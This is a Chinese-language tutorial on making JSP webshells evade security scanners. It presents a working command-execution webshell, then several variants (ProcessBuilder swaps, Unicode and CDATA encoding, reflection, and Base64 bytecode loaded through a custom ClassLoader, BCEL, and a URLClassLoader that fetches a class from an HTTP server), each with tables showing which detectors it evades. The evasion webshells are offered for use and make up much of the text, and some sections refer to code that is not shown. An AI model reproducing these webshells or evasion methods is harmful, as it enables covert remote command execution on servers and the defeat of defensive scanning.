1 认识Webshell

创建一个JSP文件：

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page language="java" pageEncoding="utf-8" %>

<%
    String cmd = request.getParameter("cmd");
    Process process = Runtime.getRuntime().exec(cmd);
    InputStream is = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
    String r = null;
    while((r = bufferedReader.readLine())!=null){
        response.getWriter().println(r);
    }
%>

Tomcat运行

这就是一个典型的webshell，但这个webshell的各种特征已经被安全检测平台记录，很容易识别出来。

【virustotal】

【D盾】

【shellpub】

接下来进行免杀，免杀就是将这些被识别的特征进行替换，绕过，混淆和干扰。

2 基础免杀

2.1 替换敏感函数

Runtime.getRuntime().exec(cmd)其实最终调用的是ProcessBuilder这个函数，因此我们可以直接利用ProcessBuilder来替换Runtime.getRuntime().exec(cmd)，从而绕过正则表达式检测。

（1）新的JSP文件

（2）运行测试

（3）安全检测

【virustotal-未识别】

【D盾-未识别】

【shellpub-识别】

2.2 BeansExpression免杀

（1）JSP

（2）运行测试

（3）检测结果

【shellpub-未识别】

【D盾-未识别】

【火绒-识别】

3 编码免杀

3.1 UNICODE编码

（1）JSP文件

编码网址：https://3gmfw.cn/tools/unicodebianmazhuanhuanqi/

编码后内容会存在 \ua ，需要手动删除，负责无法正常运行

（2）检测结果

【shellpub-识别】

【D盾-识别】

【火绒-未识别】

3.2 CDTAT

（1）JSPX特性

jspx是JSP 2.0中的一项重要的功能提升，jspx其实就是以xml语法来书写jsp的文件。JSPX需要将jsp中不符合XML规范的tag进行替换，如：

<%@ include .. %> <jsp:directive.include .. />

<%@ page .. %> <jsp:directive.page .. />

<%= ..%> <jsp:expression> .. </jsp:expression>

<% ..%> <jsp:scriptlet> .. </jsp:scriptlet>

（2）JSP文件

检测结果-均可检出

（3）CDTAT特性，<![CDATA[与]]>只要能配对就相互抵消，其他不变

（4）检测结果

【shellpub-识别】

【D盾-未识别】

【火绒-未识别】

（5）HTML

JSPX可以识别html编码

注意：注意：含有CDATA的内容是不能进行html实体编码的，反之html实体编码后的内容也不能插入CDATA，否则无法执行

编码网站：https://www.qqxiuzi.cn/bianma/zifushiti.php

4 反射免杀

4.1 基础反射

（1）JSP文件

（2）查杀结果

工具	shellhub	D盾	火绒
结果	识别	识别	识别

4.2 优化

反射中的明显特征如java.lang.Runtime，getRuntime，exec这些敏感内容，都是字符串形式输入，由此我们能操作的空间就很大了。

（1）BASE64加密

检测结果

工具	shellhub	D盾	火绒
结果	识别	识别	未识别

（2）getDeclaredMethod替换getMethod

检测结果

工具	shellhub	D盾
结果	识别	识别

（3）经过测试某盾查杀的是当存在反射函数又存在Process类的getInputStream方法时会被查杀

检测结果

工具	shellhub	D盾
结果	识别	未识别

5 字节码免杀

5.1 生成字节码

（1）JAVAC生成字节码

编写程序加载class

（2）javassist生成字节码

import javassist.*;

import java.io.IOException;
import java.util.Base64;

public class test2 {
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
        ClassPool classPool = ClassPool.getDefault();

        CtClass cc1 = classPool.makeClass("com.demo2.shell");

        CtConstructor cons = new CtConstructor(new CtClass[]{},cc1);
        cons.setBody("{}");
        String runCode1="{}";
        cons.insertBefore((runCode1));
        cc1.addConstructor(cons);

        CtMethod cm2 = new CtMethod(ClassPool.getDefault().get("java.lang.String"), "runs", new CtClass[]{classPool.get("java.lang.String")}, cc1);
        cm2.setModifiers(Modifier.PUBLIC);
        cm2.setBody("{        Process process = Runtime.getRuntime().exec($1);\n" +
                "        java.io.InputStream is = process.getInputStream();\n" +
                "        java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));\n" +
                "        String r = \"\";\n" +
                "        String s = \"\";\n" +
                "        while((r = bufferedReader.readLine())!=null){\n" +
                "            s += r;\n" +
                "        }\n" +
                "        return s;}");
        cc1.addMethod(cm2);
        System.out.println(new String(Base64.getEncoder().encode(cc1.toBytecode())));

    }
}

（3）ASM生成字节码

package demo2;

import jdk.internal.org.objectweb.asm.ClassWriter;
import jdk.internal.org.objectweb.asm.MethodVisitor;
import java.util.Base64;
import static jdk.internal.org.objectweb.asm.Opcodes.*;

public class test3 {
    public static void main(String[] args){

        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
        cw.visit(V1_8, ACC_PUBLIC, "Shell", null, "java/lang/Object", null);

        MethodVisitor mw = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
        mw.visitVarInsn(ALOAD, 0);
        mw.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V",false);
        mw.visitInsn(RETURN);
        mw.visitMaxs(1, 1);
        mw.visitEnd();

        MethodVisitor mw2 = cw.visitMethod(ACC_PUBLIC, "runs",
                "(Ljava/lang/String;)Ljava/lang/Process;", null, null);
        mw2.visitCode();
        mw2.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime",
                "()Ljava/lang/Runtime;",false);
        mw2.visitVarInsn(ALOAD,1);
        mw2.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
        mw2.visitInsn(ARETURN);
        mw2.visitMaxs(10, 3);
        mw2.visitEnd();
        byte[] code = cw.toByteArray();
        System.out.println(new String(Base64.getEncoder().encode(code)));

    }

5.2 Classloader加载字节码

加载的类名要与class对应上。

（1）JSP文件

<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%


    ClassLoader loader = new ClassLoader() {
        @Override
        public Class<?> loadClass(String name) throws ClassNotFoundException {
            if(name.contains("demo2.shell")){
                return findClass(name);
            }
            return super.loadClass(name);
        }

        @Override
        protected Class<?> findClass(String name) throws ClassNotFoundException {
            try {
                byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAQwoAEAAgCgAhACIKACEAIwoAJAAlBwAmBwAnCgAGACgKAAUAKQgAKgoABQArBwAsCgALACAKAAsALQoACwAuBwAvBwAwAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABHJ1bnMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADEHADIHADMHACYBAApFeGNlcHRpb25zBwA0AQAKU291cmNlRmlsZQEACnNoZWxsLmphdmEMABEAEgcANQwANgA3DAA4ADkHADIMADoAOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAARADwMABEAPQEAAAwAPgA/AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAEAAQQwAQgA/AQALZGVtbzIvc2hlbGwBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcAIQAPABAAAAAAAAIAAQARABIAAQATAAAAHQABAAEAAAAFKrcAAbEAAAABABQAAAAGAAEAAAAIAAkAFQAWAAIAEwAAAKEABQAGAAAAS7gAAiq2AANMK7YABE27AAVZuwAGWSy3AAe3AAhOEgk6BBIJOgUttgAKWToExgAcuwALWbcADBkFtgANGQS2AA22AA46Baf/4BkFsAAAAAIAFAAAACIACAAAAAsACAAMAA0ADQAdAA4AIQAPACUAEAAvABEASAATABcAAAAcAAL/ACUABgcAGAcAGQcAGgcAGwcAGAcAGAAAIgAcAAAABAABAB0AAQAeAAAAAgAf");
                PermissionCollection pc = new Permissions();
                pc.add(new AllPermission());
                ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
                return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
            } catch (Exception e) {
                e.printStackTrace();
            }
            return super.findClass(name);
        }
    };
String cmd = request.getParameter("cmd");
    Class<?> shell = loader.loadClass("demo2.shell");

    Object object =  shell.newInstance();
    Method method = shell.getMethod("runs",String.class);

    Object o = method.invoke(object, cmd);
    InputStream is = new ByteArrayInputStream(o.toString().getBytes());
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
    String r = "";
    String s = "";
    while((r = bufferedReader.readLine())!=null){
        s += r;
    }
    response.getWriter().println(s);

%>

（2）运行

（3）检测结果

工具	shellhub	D盾	火绒
结果	识别	未识别	未识别

5.3 BCEL字节码免杀

Apache Commons BCEL被包含在了JDK的原生库中，BCEL库提供了一系列用于分析、创建、修改Java Class文件的API用于处理字节码，但是com.sun.org.apache.bcel.internal.util.ClassLoader这个类加载器由于安全问题，在JDK7以上版本被移除，导致BCEL字节码的利用变得很局限。

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="com.sun.org.apache.xml.internal.security.utils.Base64" %>
<%@ page import="com.sun.org.apache.bcel.internal.classfile.Utility" %>
<%
        byte[] bytes = Base64.decode("yv66vgAAADQAQwoAEAAgCgAhACIKACEAIwoAJAAlBwAmBwAnCgAGACgKAAUAKQgAKgoABQArBwAsCgALACAKAAsALQoACwAuBwAvBwAwAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABHJ1bnMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADEHADIHADMHACYBAApFeGNlcHRpb25zBwA0AQAKU291cmNlRmlsZQEACnNoZWxsLmphdmEMABEAEgcANQwANgA3DAA4ADkHADIMADoAOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAARADwMABEAPQEAAAwAPgA/AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAEAAQQwAQgA/AQALZGVtbzIvc2hlbGwBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcAIQAPABAAAAAAAAIAAQARABIAAQATAAAAHQABAAEAAAAFKrcAAbEAAAABABQAAAAGAAEAAAAIAAkAFQAWAAIAEwAAAKEABQAGAAAAS7gAAiq2AANMK7YABE27AAVZuwAGWSy3AAe3AAhOEgk6BBIJOgUttgAKWToExgAcuwALWbcADBkFtgANGQS2AA22AA46Baf/4BkFsAAAAAIAFAAAACIACAAAAAsACAAMAA0ADQAdAA4AIQAPACUAEAAvABEASAATABcAAAAcAAL/ACUABgcAGAcAGQcAGgcAGwcAGAcAGAAAIgAcAAAABAABAB0AAQAeAAAAAgAf");
        String code = Utility.encode(bytes, true);
        String bcelCode = "$$BCEL$$" + code;
        com.sun.org.apache.bcel.internal.util.ClassLoader bcelClassLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();

        Class<?> shell = bcelClassLoader.loadClass(bcelCode);
        Object object = shell.newInstance();
        Method dm = shell.getDeclaredMethod("runs",String.class);

        String cmd = request.getParameter("cmd");
        response.getWriter().println(dm.invoke(object, cmd));
%>

检测结果

工具	shellhub	D盾	火绒
结果	识别	未识别	未识别

5.4 URLClassLoader加载

<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%
        String cmd = request.getParameter("cmd");
        URL url = new URL("http://127.0.0.1:8000/");
        URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
        System.out.println("父类加载器：" + classLoader.getParent()); // 默认父类加载器是系统类加载器
        Class shell = classLoader.loadClass("demo2.shell");
        Object object =  shell.newInstance();
        Method dm = shell.getDeclaredMethod("runs",String.class);
        Object invoke = dm.invoke(object, cmd);
        response.getWriter().println(invoke);

%>

服务端：

第一步：在一个文件夹中使用python开启一个http服务python -m http.server